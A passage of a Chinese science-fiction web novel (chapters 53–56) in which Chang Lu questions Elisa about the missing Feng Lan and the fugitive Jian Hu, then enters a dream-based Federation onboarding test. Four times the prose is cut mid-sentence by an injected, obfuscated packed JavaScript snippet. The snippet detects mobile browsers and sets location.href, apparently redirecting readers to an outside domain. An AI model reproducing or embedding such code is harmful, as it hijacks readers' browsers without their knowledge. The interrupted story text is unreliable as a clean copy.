但这个数值一向很稳定,哪怕是朝夕相处的扶鸢,也没有突然间暴涨的情况。 正因如此,她才习惯性忽略。 可伊莱莎的变动太明显,叫她很难不注意到。 伊莱莎相信她。 不知道什么原因。 以防万一,唱鹿决定先从不太重要的问题开始。 “你是智械?” “算是吧。”伊莱莎握着杯子,热牛奶腾起的白烟在她眼前缭绕,“你所知道的智械是什么样的?” “智械分两种,部分改造和全身改造。你……不像智械。” 据唱鹿所知,没有哪个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044588|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 智械能做到彻底的头身分离。 伊莱莎轻哂,“我的确不是你概念内的智械,因为我全身上下除了脑子是原生的之外,其他都不属于我。” 唱鹿诧异,那这还能算是人类吗…… “说来话长,我猜这事也不是你过来找我的重点。”伊莱莎将杯子放下,又调整坐姿,长腿伸到茶几下放,踝部交叉,“不如直接进入正题吧?” 也好。 唱鹿稍微理了下思绪,说:“被你拿走的那条项链,你知道它原来的主人是谁,对吧?” “封岚。”伊莱莎直接了当地说,“二十几年前,她是联邦第一分局的特警大队长。我们……算是朋友。” “这么说你以前也在联邦第一分局工作过?” “是。” 梦里的资讯还是可信的。 唱鹿进一步试探道:“你认识沈青桐吗?” “她曾经是我的助手,留在第一分局了。” “那你呢?” “我的故事有点长,不适合现在讲。” 唱鹿意会,改口说:“你说你和封岚‘算’朋友。” 算字加重音。 “我想知道她是不是我要找的那个人。”伊莱莎垂眸,表情看不出喜悲,语气也没什么起伏,“我没得到答案,她就失踪了。” “每个人认识她的人都说她失踪了。” “是,突然间就消失了,联邦都找不到她。” 唱鹿蹙眉,没有立刻接话。 她稍微琢磨了一下,斟酌语句后道:“也有人怀疑她是被联邦囚禁了。而且,她的魔方现在在苍镹手里。你专门研究魔方,知道这代表什么。” 伊莱莎饶有兴趣地看向她,“你知道得挺多。” 见唱鹿不说话,她继续道:“可惜,封岚失踪之前,魔方还没有和她融合。” “所以呢?” “封岚只是按照联邦的要求,将魔方交予我做研究,那天之后便再也没出现过。不久后,我也按照联邦的要求,把原本属于封岚的魔方交给了苍镹使用。” 这么说来,苍镹不知道封岚的下落。 唱鹿怀疑道:“完全没有线索吗?” “有是有,不明朗。”伊莱莎撩了下头发,“我无法保证一定有下文。” “说来听听。” “剪瑚。” 这个名字好熟悉,似乎在哪里听过。 有一段时间了,不是最近出现的名字……是在哪里呢? 想到了。 “那个联邦通缉犯?” “她被联邦逮捕关在监狱里十多个纪年,最近逃出去了。” 剪瑚。 唱鹿第一次听到这个名字,是为了救濒死的扶鸢而去找庸医的途中。 当时联邦警察守在地下商城的入口处,对路过的行人逐一进行身份核验和排查。 唱鹿记得她。 她有着一双鹰眼,坚毅且锐利。 唱鹿警觉起来,“你想帮联邦把她抓回来?” 伊莱莎微笑着摇头,“不,我和联邦只是相互利用关系。如果我能离开这里,我会自己去找她。也许找到她,就会得到你我都想知道的答案。” 所以伊莱莎也不清楚封岚的去向,她也在找她。 但剪瑚可能知道点什么。 一个逃出联邦监狱的犯人。 一个联邦发布通缉令都抓不到的人。 又是一个下落不明却必须找到的人。 真是一个接一个,永远也找不完。 每次快要接近真相,又没能得到答案,必须去寻找下一个。 唱鹿嘴角抽搐,“说实话,我真的有种被你们牵着鼻子走的感觉。” 伊莱莎语气温和,像是在安抚她,“那你想找到答案吗?” 唱鹿深呼吸,“想。” 稍一停顿,又说:“可我得到的问题太多,答案太少。我不知道前面等待我的是什么,是我想要的真相——” 她盯着伊莱莎,“还是一个设计好的圈套?” 54. 越狱 054. “你要走的这条路很长,如果想要追寻真相就不得不往前走。路长了,途中遇见的人自然也多。”伊莱莎坐姿慵懒,语气也很松泛,“每个人都有她的私心,你有,我也有。可如果每个人都在背后推你一把,你就能走得更远。要不要继续走下去,选择在你。愿不愿意接受我们的助力,选择也在你。” 这话说得很巧妙。 避免正面回答唱鹿的质疑,又能起到足够的安抚作用。 唱鹿低声喃喃道:“我现在只想弄清楚封岚和我到底有什么关系。” “遵循你内心的选择。”伊莱莎说,“你想知道的问题,只能自己去找答案。如果你恐惧未知的未来,觉得累了,不想继续前行。你可以停下,我就当你今晚没来过。” 唱鹿不语。 这世上无非就是人和事,起点或许被动,可顺藤摸瓜拽出一连串,确实是她主动为之。 如果她不想追溯觉醒的事,不在乎和扶鸢捆绑的链路,不关心封岚和自己有什么关系。 自然不会走到今天这一步。 正因为她在乎,想弄清楚。 才会不断挖掘出问题,驱使她不断奔跑。 她正在一条充满迷雾的道路上前行。 不知道终点在哪里,也不知道迷雾后有什么。 而在抵达真相之前。 还是会一路不停地发现问题,需要她不停去找到答案。 为什么会觉醒? 觉醒是因为风铃吗? 她和封岚到底有什么关系? 唱鹿抬头直视对面的人,从未如此坚定过,“我要知道剪瑚的所有事。她是谁,做过什么事,和封岚又有什么关系。” 不管这条路有多么艰难,多么弯弯绕绕。 不管要付出什么样的代价。 她都必须走到终点,找到答案。 哪怕尽头是无尽深渊,她也会跳下去一探究竟。 唱鹿说:“告诉我你知道的一切。” 伊莱莎点点头,露出思索的表情。 半晌后,她慢悠悠开口道:“剪瑚曾经是联邦的人,隶属于联邦第一分局特殊事件处理部,一个对内也不公开的部门。” 唱鹿心弦一震。 她瞬间猜出这个部门的职能是什么。 几次进入联邦,唱鹿都在找可疑的苗头。 可一切都太正常,正常得很不正常。 没有人表现出玩家的特质,都像这个世界的原住民。 明明见过特警抓捕异常NPC,可她在成为联邦特警的一员后,并没有被告知有这项任务。 甚至还以为要等转正后才…… 原来不是。 唱鹿假意试探道:“我参观过分局大楼,每一层都去过。没见到你所说的这个部门。特殊事件……具体是指什么?” 伊莱莎:“没人知道。” “但你知道这个部门,至少说明你在联邦内部的地位很高。” “的确。”伊莱莎含笑道,“联邦需要我的头脑,赋予我很多的知情权,这些都是别人没有的。但很多东西,我也只是知晓,不完全了解。” 这样的回答说服不了唱鹿。 她屁股往后挪,让后背完全贴敷在椅背上,不留一点空隙。 最让她有安全感的姿势,同时也给了她一些说话的底气。 “我不相信联邦的人。” 哪怕伊莱莎认识封岚,认识那条项链。 哪怕她揭露联邦内部存在一个不可告人的部门。 但只要和联邦挂钩,唱鹿就没办法完全信赖她。 “你不必相信我,我也没有信任你。”伊莱莎耸肩,“只是你我都想找到封岚,这便足够了。共同利益让我们不会背弃彼此,它比任何承诺都靠谱。” 闻言,唱鹿勾起唇角。 她喜欢和聪明人说话,一点也不费劲。 的确。 有共同利益就行,不必上价值,谈信任。 唱鹿说:“你继续,我在听。” “剪瑚,她是特殊事件处理部的一员,非常普通的一员。没出过什么错,一直兢兢业业地工作。直到十个纪年前,她被未婚夫举报,说她泄露部门信息,因此入狱。” “她的未婚夫也因为检举有功,升职加薪。”伊莱莎发出一声嘲弄的冷笑,“这个人你应该认识,杨树林。” 唱鹿愣了下。 杨树林,不就是第十三分局特警三队的队长老杨吗? 她对老杨的印象本就不佳。 如今又知道他踩着心爱之人上位,更多了一层厌恶。 再结合伊莱莎的语气,唱鹿推测道:“泄露部门信息,怕不是个幌子。” 伊莱莎微微点了下头,“每每有什么不可告人的事实,上头就会用这种含糊不清的理由遮掩过去。联邦老把戏了。” “你也不知道她究竟犯了什么罪?” “不知道。剪瑚入狱后,联邦看管得很严,除了机器人定点送饭之外,没有活人能接触到她。” 看来剪瑚犯的事不小。 也变相说明,这是个很有能耐的人。 唱鹿顺着已有的线索往下捋,找到第一个不解的结点,“一个是特警大队长,另一个在理论上不存在的部门。封岚和剪瑚是怎么扯上关系的?” “她们联手救走了一名通缉犯。”伊莱莎似乎觉得唱鹿的反应还不够震惊,又补充了一句,“我打的掩护。” 要不是唱鹿经历过太多离奇的事,此刻大脑真的要宕机了。 两个未来通缉犯,在一个高权限内鬼的帮助下,救走了第三名通缉犯? 好好好。 你们联邦内部全都是反骨仔是吧。 “被救走的那人是谁?” “一名黑客,也是目前为止唯一能穿过防火墙黑进联邦核心系统的人。” “后来呢?” “我只负责把人送去出,后续不归我管。” 唱鹿了然,“你想以此获得封岚的信任?” 伊莱莎:“是,可世事无常,我还没得到我想要的答案,她就失踪了。” “剪瑚越狱,该不会也是你的手笔吧?” “她被关在联邦总局的监狱里,而我已经被调任到了这里,鞭长莫及。”伊莱莎只说到这里,没有往后展开。 知道她不想谈论自己的往事,唱鹿决定换个话题,“你认识风铃吗?或者说,你们认识风铃吗?” 伊莱莎答道:“听过这个名字,没见过。” 不等唱鹿多加思考,伊莱莎又问:“对了,你想要我登记哪一个魔方?” 唱鹿蹙眉,一时没理解她的意思。 伊莱莎耐心道说:“你手上有两个魔方。” 唱鹿:“……” 刹那间,背脊发凉。 她猜到联邦有手段能检测到她体内的[魔方·拟造],却没想到对方连被她放在家里的[魔方·洞察]都能查出来。 唱鹿沉默观察。 因为不确定伊莱莎是真的知晓,还是在诓她。 伊莱莎读出她眼中的怀疑,也习惯了面对这种眼神。 只寻常道:“实际上,你身上存在三个不同类型的魔方的持有能量。有一种正在消退,又保持着微妙的存在感,另外两种则非常明显。你把其中一个魔方给了其他人。” “你还知道多少?” “你的两个魔方,一个名为[魔方·拟造],另一个名为[魔方·洞察]。”伊莱莎缓声道,“拟造可以将非武器变为武器,洞察可以看破敌人的破绽。” 唱鹿终于知道为什么每个入职的新人都要面见伊莱莎了。 “这是你的赐福。” “[魔方·博学],和你的[魔方·拟造]一样,都隶属于Af ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049188|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' kth。它能让我‘看见’其他人的魔方。不管是否融合,有没有带上身上。” 伊莱莎甚至能准确地说出魔方隶属的名称! 唱鹿惊讶不已,那些藏在内心深处关于魔方的疑问全都冒出头来。 她想趁机问个清楚,伊莱莎却说:“你该回去了。” “可是……” “宿舍内虽然没有内置摄像头,但机器人会定时扫描查房。如果被他们发现你不在屋内就糟了。” 行吧。 反正该问的也都问了。 魔方的事,以后有的是机会借助工作的由头问个清楚。 唱鹿麻利地钻回通风管,伊莱莎就站在下面望着她。 伊莱莎嘱咐道:“据我所知,特殊事件处理部会在其他部门安插眼线。你调查的时候要小心身边的人,谁都有可能是内鬼。” 唱鹿点头表示记住了,复而想起什么来,“封岚没有孩子,对吧?” 伊莱莎面无表情,“没有,我对比过你们两人的基因数据。你和封岚,没有亲缘关系。” 等等,基因数据? 她什么时候……哦对,第一次进分局接受审讯时,曾经被采过血。 采血的医生告诉她,这只是审讯的常规流程之一,以便核验身份。 现在想想,当时分局内已经有人怀疑她和封岚的关系。 至于是谁,用脚趾头都能想出来。 ——苍镹。 - 顺利回到临时宿舍,唱鹿快速冲了个澡。 做戏做全套,假如有人问起,至少还能指着湿漉漉的头发说自己泡澡时睡着了。 洗完澡,换上睡衣。 唱鹿站在床边,一边用毛巾擦干头发,一边复盘和伊莱莎的对话。 目前的关键落在剪瑚身上。 一个已经越狱了的联邦通缉犯,下落不明。 又是一个失踪人员。 风铃失踪,封岚失踪,剪瑚也失踪。 这三个人还有千丝万缕的关系。 剪瑚本身则又能拽出一条线,和特殊事件处理部相连。 如果特殊事件处理部真的是为了处理异常NPC而存在,那么理论上剪瑚应该也是一个玩家。 可联邦有什么理由通缉一个玩家? 假如有一个玩家违反了游戏规则,直接封锁她的入场资格不就行了,何必大费周章在游戏里颁布通缉令? 想不通。 有太多矛盾的地方。 现在线索太少,想要找人就如同大海捞针,还要避着联邦偷偷找。 不管怎么样,明天下班后得去一趟未央阁。 老板娘说过,联邦就像一堵墙,人进去之后便不会再有消息传出。 但至少会有剪瑚入职联邦之前的资讯。 有一点是一点。 强过什么都不了解。 正暗自思忖,门响了。 “咚咚。” 唱鹿踱步去开门。 杵在门外的是一个半人高的机器人,它先是用一道温和的绿光将唱鹿从头到脚扫描了一遍,“身份确认,实习特警唱鹿。” 她乖乖站着没动,“嗯,是我,有事吗?” 机器人说:“您好,特警一队的副队长唐与让我前来询问您,临时宿舍是否有需要改进的地方?您是否还满意?如果您觉得不够舒适,我可以为您安排新得宿舍。” 唱鹿回头看了眼宿舍。 该有的都有,东西也没坏。 她面朝机器人,“一切都好,不用换了。” “好的,已登记。”机器人说,“特警一队的队长苍镹让我转告您,明天早上您需要在八点前起床,并在八点半准时抵达医疗部,医疗部的黄医生会为您安排全身体检。体检结束后,请您前往一队办公室,您的队长会为您安排一次入职小测试。请您早点休息,做好准备。” 55. 蓝血 055. 唱鹿打量眼前的这台机器人,尝试从它的金属外壳中多读出点什么。 可机器就是机器。 冷冰冰的铁皮,内在只有程序。 不懂察言观色,不会主动向她透露再多的信息。 她叹气,“入职测试是什么?” 机器人答道:“入职测试是每一位新进入联邦的职员都需要进行一次考验,事关您后续的转正考核,请务必重视。” 说得好,很官方。 和没说一样。 唱鹿耐着性子继续提问,“测试的内容是什么?” 机器人答道:“暂时不能透露,但请您务必重视。” 唱鹿无语凝噎。 怎么一个个都是谜语人,连机器人也主打一个有话不直说。 她摆摆手,示意机器人可以走了。 机器人没懂。 它铁桶似的杵在门口,一动不动,唱鹿想关门都不行。 可见对机器人真的不能抱有太多的期待。 唱鹿好脾气地说:“如果没有其他事,你可以离开了。” “请稍等,菜单正在加载中——” 机器人充当五官的小屏幕上闪过一圈亮光,旋即在她面前投影出一份菜单。 又说:“请您从中选择最为心仪的早餐套餐。” 唱鹿粗略浏览了一遍。 菜单上有二十多种套餐,每一种的搭配都不一样。 套餐旁边还标注出能量、脂肪、蛋白质等等营养成分。 她嘀咕道:“联邦在这些细枝末节的东西上还挺用心……” 机器人回答:“每一份早午晚餐的搭配都是专业营养师精心打造的,可适用于不同年龄、不同种族、不同性别的职员。” “第一个套餐吧。” “好的,已登记。”机器人一边说,一边往后退,直到退出门外,“愿您有一个无梦的安眠之夜。” 关门,躺到床上。 可能是太累了,唱鹿闭眼后没一会儿就睡着了。 醒来已经是第二天早上七点出头。 她洗漱完,发现昨晚的机器人就站在门外。 两条机械臂捧着一个托盘,托盘上正是她昨晚选择的早餐套餐。 机器人一见她便开口道:“早上好,实习特警唱鹿。” 唱鹿:“……早。” 很怀疑这东西是不是在她宿舍门口守了一个晚上。 机器人滑进宿舍,把托盘放在紧挨单人床的书桌上,用平直的声音说:“这您昨晚点的早餐,请慢用。用完早餐后,请您在八点半前移步到医疗部接受体检。” “好,谢谢。” “祝您用餐愉快。”机器人说完很自觉地退出宿舍,还帮她关上了门。 唱鹿眯起眼睛。 一个问题正在脑海里打转。 因为智械的存在,机器人在这个世界并不泛用。 智械是进行机械化改造过的人类。 他们既能拥有机器的性能,也保留了人类的智慧与情绪。 只要有智械,传统机器人便会变成最次选择。 同理人工智能。 可事实是联邦内部不缺智械。 但还在坚持使用人工智能和传统机器人。 难道是为了省钱? 不,一台人工智能的维护费用,足以雇佣百来名精英人士。 那到底是什么呢? - 医疗部占据分局大楼的十二到十四层。 唱鹿提前抵达,在等候厅的长椅上坐等了五分钟,才有护士来领她前往体检。 “我简单说一下流程。第一步要先面见您的专属医生,医生会为您建立联邦通用的医疗档案。”护士一边领路,一边为她介绍道,“持有这个档案,您去伽马地区内任何合法医院就医都可以享受医疗报销,报销最高可以覆盖60%的费用。” 听起来还不错,唱鹿提问:“专属医生是指……?” 护士耐心解释道:“特警队因其职能经常需要与外敌交火,受伤是难免的事。为了保证每一位特警能够在受伤后及时得到治疗,每个分队都有一位专属队医。” 唱鹿了解,“建档后直接去体检?” “是的,体检结束后,您的体检报告会直接进入联邦数据库,同时也会抄送一份发送给您的队长。” “体检结果会影响转正?” 护士停下脚步,回头微微一笑道:“一般来讲,体检结果会影响到是否能够顺利入职联邦。” 唱鹿哽住。 现在人人都知道她是苍镹保送进来的? 该不会以为她是关系户吧…… 仔细想想,好像确实是关系户。 只不过靠的不是苍镹,而是前领队俞瑶。 没有俞瑶,她和安保队的其他人也进不了联邦。 两人一路前行,直到在一间办公室门前停下。 门上挂着标牌,上面刻着几个字: 主治医生黄芪 唱鹿念出那个名字,“黄、芪。” 护士说:“黄医生是特警一队的专属队长,已经为联邦工作近十个纪年了。” 说完敲门,里面的人响应道:“请进。” 正觉得这声音好像在哪里听过,护士推开眼前的门,唱鹿看见一位熟人。 这不是安保队的…… 唱鹿惊讶,“你……” 黄芪摆出一副两人是初次见面的陌生表情,礼貌地回应道:“你好,我姓黄。” 唱鹿会意,“你好,黄医生。” 联邦不允许其职员有明面上的副业。 显然,黄芪的正职是联邦医生,私底下偷偷抽空为安保队服务。 所以按照正常逻辑,唱鹿和黄芪今天是第一次相见。 的确该保持一点距离感。 护士把人带到,和黄芪说了几句工作上的事,随后离开。 门被关上,又稍等片刻确定护士走远。 黄芪才开口道:“我听说俞瑶说,TP21安保队的人都被招进联邦了。” 唱鹿点头,“在不同的分局里。” 黄芪理所当然道:“正常不会让你们集中在一起,以免……如果他们知道我曾经给你们当医生,估计我也会被调走。” “不该是我走吗?” “有苍镹做你的后台,除非上头直接下令,没人动得了你。” 交谈间,黄芪迅速给唱鹿建了个医疗档案。 她手上一点,唱鹿的通讯器响起接收文件的提示音。 “体检流程和档案模板已经发给你了,你按照上面的指示去十三楼做各项检查。” 她稍微停顿了一下,“你今天要做入职测试吧?” “对。”唱鹿上半身朝前倾,“入职测试的内容是什么?” 黄芪意味深长地看了她一眼,“你马上就知道了。” “……”唱鹿实在忍不住,“你们联邦的都这么喜欢当谜语人吗?” 黄芪一笑,“我只能给你一个忠告,多留意你觉得不寻常的东西。心里知道就好,嘴上不要过问。联邦可不是一个能让人安心养老的地方。” * 一整套体检下来,耗费了不少时间。 唱鹿走进特警一队办公室时,已经接近十点。 苍镹不在。 人工智能说苍队正在开晨会,二十分钟后结束。 又让机器人给唱鹿送了点补充能量的点心,让她在办公室里边吃边等。 点心吃完,苍镹行色匆匆地回来了。 她进门便说:“我看过你的体检报告了,和我想象中的一样,你的身体素质很不错。报告里显示你对果糖过敏,是遗传?” 这无疑是一句试探。 唱鹿没好气地反问道:“难道联邦没有对入职的新人做背调吗?” 苍镹:“有。” 唱鹿冷笑,“那你就该知道我是孤儿,打从一出生就不知道父母是谁。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053496|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苍镹斜睨她。 双目沉沉似乎是在深入思考些什么,表情也愈发凝重。 最后眼帘往下一垂,所有思索都从眼中消散,她平静道:“我知道。你被遗弃在孤儿院门口时只有一岁出头,我想你或许还记得在那之前的事。” 唱鹿挑眉。 听这语气和说辞,难道连基因对比结果都无法让苍镹相信她和封岚没有血缘关系吗? 这事唱鹿已经想开了。 毕竟是个游戏世界,相似性不需要通过基因遗传,只需要一串代码。 但代码也有特殊性。 她和封岚的特殊性就在于同样的浅妃色头发,中间还有风铃作为纽带。 她和她必然有某种千丝万缕的关系。 排除了最表面的血缘可能,结果会是什么呢? 唱鹿更想知道了。 见她久久不开口,苍镹询问道:“能想起来吗?” “不能。”唱鹿说,“别指望一个只有一岁小孩的记忆力,她只能记得一件事——我是个没人要的孤儿。” 苍镹沉吟片刻,“如果我冒犯到了你,我道歉。” 唱鹿耸肩,“不用,我没那么脆弱。” 苍镹还想说些什么,嘴巴微张。 抢在她说话之前,唱鹿拍拍手站了起来,“不是说要做入职测试吗?再不开始就到午饭时间了。” 苍镹弯腰从办公桌的抽屉里取出一张卡片,然后往外走,“跟我来。” - 电梯停在十七层,这一层也属于科研部。 出电梯后,眼前只有一条笔直的长走廊,走廊两侧有许多扇门,完全没有窗户,照明全靠头顶的灯。 这些门的颜色不一,门牌上镌刻的代码也不同。 唱鹿一路走过去,发现这些代码完全没有规律。 苍镹把她领到一间被标注为‘As712’的房间前。 刷卡开门的同时,房间内自动亮起大灯。 房间正中央摆着一个立式盐池,盐池的后方连接着缸中脑。 除此之外,房间内再无其他东西。 这是要入梦? 难道要让她在梦境里完成入职测试? 可入梦需要蓝血,这里也没有蓝血…… 唱鹿正纳闷,余光觑见苍镹把手贴在一面平整的墙上。 随着蓝光浮现,墙面出现一个细长的凹槽,苍镹的五指伸进凹槽里,再往外里拉——优质蓝血被装在玻璃管里,密密麻麻地排满一整个格子。 苍镹招呼她过去,“选一个吧。” 唱鹿不理解,“这和入职测试有什么关系?” “你眼前的这些蓝血,不是单纯的梦境,里面装载着特警部过往处理过的重大事件。”苍镹解释道,“与其让给新人出难题,不如让新人直接参与到特警的日常工作中。这就是入职测试,我们想看看你会如何处理这些事件。” 既然要选,那可要仔细点。 唱鹿仔细观察这些蓝血。 它们有分类。 分类很抽象,分为城市、港口、林间、水域,以及空域。 前面几个唱鹿还能理解,“空域?” “如果事件发生在飞空艇上,或者是某辆正在空中行驶的交通工具上,就会被分到空域类目里。” 懂了。 那么水域就是发生在船上或者海边咯。 空域和水域感觉都蛮危险的,唱鹿决定避开这两个类目。 尤其是水域。 自从在神秘海域见过母体后,她对海洋充满了畏惧,能远离绝不靠近。 秉持着不要靠近海洋的原则,港口也可以排除。 剩下城市和林间…… 唱鹿的注意力被其中一管蓝血吸引。 它很奇怪。 不是纯粹的蓝色,带着点紫调,可又不明显,若有似无的,叫人看不真切。 唱鹿将其从众多玻璃管中抽出来。 “就它了。” 56. 缉查 056. 苍镹接过唱鹿递来的蓝血,举到灯光下观察。 她未觉异常,将蓝血灌入缸中脑。 “测试过程中你可能会遇到许多超出认知的离奇事件,不用怀疑,这些都是联邦特警亲身经历过的。他们能解决,你肯定也可以。”苍镹说,“伊莱莎已经上报了你持有的魔方,它叫[魔方·拟造],能够将非武器物品转化为武器。好好利用你的赐福,它会在关键时刻帮助你化险为夷。” 这番话,唱鹿能品出三重意思来。 第一,联邦特警需要处理的事件远超出普通人的想象。 第二,必定有危险。 第三,伊莱莎值得信任。 她举手,“我有几个问题想问。” 苍镹正在试调机器,头也不抬,“说。” “如果我解决不了那些事件呢?”她莫名有点期待,“联邦会不会觉得我不够格,把我辞退?” “不可能。”苍镹无情地戳破她的幻想,“入职测试只是考验你面对危机时的临场反应能力,不能决定任何事。” 唱鹿耸耸肩,扭头走入盐池。 不同于半开放的躺式盐池,立式盐池在启动后是全包状态。 它的缺点是使用者全程都会被关在盐池里。 优点则是能最大发挥蓝血的作用,让使用者更稳定地入梦。 “准备好了吗?” “嗯。” 盐池的门缓缓合并,稀释过后的蓝血涌入口鼻。 她阖眼,感觉整个人像漂浮在半空中。 须臾之间,那只无形的手便将她拽入无边的梦镜…… * 唱鹿的右手悬停在一面光屏的上方。 光屏近在咫尺,她的意识方才落地,很难不被它吸引。 《第二区缉查总局外勤任务保密协议》 甲方:第二区缉查总局 乙方:第二区缉查总局的阿尔法小队实习新人褚拾 甲乙双方根据第二区有关规定,为了明确乙方的保密义务,甲、乙双方本着平等、自愿…… 唱鹿没有仔细去研究那些条例内容,粗略地由上往下一扫。 她的眉头随之蹙起。 第二区是指哪个区? 以前可从未听说过有人把伽马、神都、福音这三大地区代称为第一区、第二区或第三区。 阿尔法小队倒是知道。 她现在就是联邦第十三分局特警一队阿尔法小队的一员,和队长苍镹搭档。 还有,缉查总局又是什么? 怎么每一个字她都看得懂,凑到一起就变得格外陌生。 “褚拾。” 有人碰了一下她的手肘。 褚拾是她在这场梦境里的角色身份。 唱鹿反应很快,立即扭头顺着那只正抽离的手望过去。 她看到一个男人。 按照大众审美,这个男人是英俊的。 五官立体,剑眉星目。 虽是坐着却也看得出身材高大,散发着蓬勃的异性荷尔蒙。 唱鹿先是偷偷瞄了眼他胸口的铭牌: 雪鸮。 然后突然有种难以遏制的悲伤从内心深处涌了上来。 她莫名鼻头发酸,眼眶泛红,竟然有点想哭。 察觉到她的表情不对,雪鸮询问道:“怎么了?” 唱鹿揉揉眉心,借机用手挡住彼此的视线,佯作是因为身体不舒服才有异常反应,“没事,突然有点头疼……” 太奇怪了。 这个梦境处处充满不合常理的地方。 不,应该说是不符合她的世界观。 几轮深呼吸快速调整情绪,唱鹿再次抬头,观察起所处的环境。 她现在所处的空间很窄,抬眸便见另外两女两男。 女的一个长发,一个短发。 男的一个高,一个矮。 “我第一次看到这份保密协议时也觉得头疼。”短发女人说,“雪鸮,耐心点。” “没事,我们还有时间,你慢慢看。”雪鸮说。 唱鹿的视线往左侧一斜。 他们应该是在一辆正在行驶中的警车内部,车窗外飞速后退的树影可以佐证这一点。 从树梢位置可以大致判断出,这辆警车只是半悬浮在空中,离地有一点距离,但远不到升空的程度。 怪了。 全队出外勤必然是有急事要处理,直接飞空不是更快吗? 又一个不寻常的点,唱鹿默默记下。 观察完毕,她点击光屏的确认按钮,同意这份保密协议。 雪鸮见状,点点头说:“好,那我们开始会议。” 他话音方落,警车内置的微型投影仪自动开启,并在半空中展开一个三维地图。 地图中央是一栋双子建筑,分为南北两栋。 不高,只有四层。 也因为不高,它可以完美地隐蔽在茂密的树林间。 如果全息地图没有进行分析透视处理,光靠肉眼很难发现它的存在。 雪鸮介绍道:“这是我们缉查部的科研基地,按照顺位排序,也称为R区。一个小时前,R区的双子楼内部突然爆发了小面积的坍缩污染。危机处理部的同事已经前去封锁了现场,接下来该轮到我们前去清扫。” 长发女人插话进来,“据说是从一条狗开始?” “嗯,一条巡逻警犬。” 另一个男人说:“如果零号感染者是动物,污染可能会扩散到周边环境。” 短发女人道:“有没有外扩不是我们该操心的事,我们只负责清除污染。雪鸮,污染源头找到了吗?” 雪鸮摇头,“现在怀疑是一名研究员。他七天前申请了休假,三天前私自去过边陲小镇,回来后也没有向缉查部上报行程。据调查,他在边陲小镇的小旅馆内度过了一个晚上,和当地的居民有深入接触。很有可能就是在这个过程中不幸被感染,并携带污染源回到了第二区。” 唱鹿从一头雾水,到越听越明白。 反应过来后毛骨悚然。 坍缩污染! 这不是扶鸢说过的,现实世界正面临的最大灾难吗? 不会吧! 难道她正处在一个记录着现实世界过往的梦境里? 不不不,不对。 理论上不可能。 虽然泡泡可以人为生成,可游戏与现实是完全不同的两个世界,如果玩家的记忆也能转化为泡泡,岂不是要乱套了? 唯一的解释就是她选择的这管蓝血的质量太不稳定,入梦后的时空扭曲了。 虚拟与现实糅杂在一起, 如果这真是现实世界发生过的事,那她入梦后感觉到的所有不寻常也都能说通了。 虚拟世界不存在第二区和缉查部,但现实世界有。 她是生活在虚拟世界里的人,完全不了解现实世界。 因此才会觉得一切都被颠覆。 可这些都只是她的猜测。 唱鹿不敢深入琢磨,她怕想得太明白,恐惧便会越多。 倘若她真的卡在现实与虚拟世界的夹缝里,等到梦镜结束之后,她还能回到虚拟世界吗? 还是说……她会被流放到现实世界,寄生在这个名为褚拾的人的身体里? 唱鹿用左手握住右手。 冷静,别怕。 或许不是意外,就是联邦刻意搞的呢? 通过这样一个梦境,来测试她是否觉醒了自我意识。 有可能。 说服了自己,唱鹿凝定心神。 总之。 神挡杀神,佛挡杀佛。 唱鹿把注意力放回当下,“我们要去找那名研究员?” “不是找,是消灭。”短发女人说,“我们不能让任何污染源继续存活在三大区内。” “没错。消灭污染源与感染者,如果有幸存者,在确定他们没有被感染之后,可以选择性营救。” “我们还有五分钟抵达目的地。其他人按照往常的分组,前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056803|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往各自负责的区域进行排查。” “褚拾你是新人,你和我一组,我们负责双子楼。” 众人异口同声,“明白。” 唱鹿亦点头:“好。” 其中一直没开口的男人突然发话,“检查各自的装备,看看有没有故障。” “备用弹夹也记得检查。” 唱鹿还在按提示清点,其他人已经飞速摸了一遍自己身上所携带的武器装备。 然后逐一开口:“检查完毕。” “搞定。” “没有问题。” “嗯,都正常。” 太熟练了。 显然不是第一次执行这种外勤任务,更像是循例的日常。 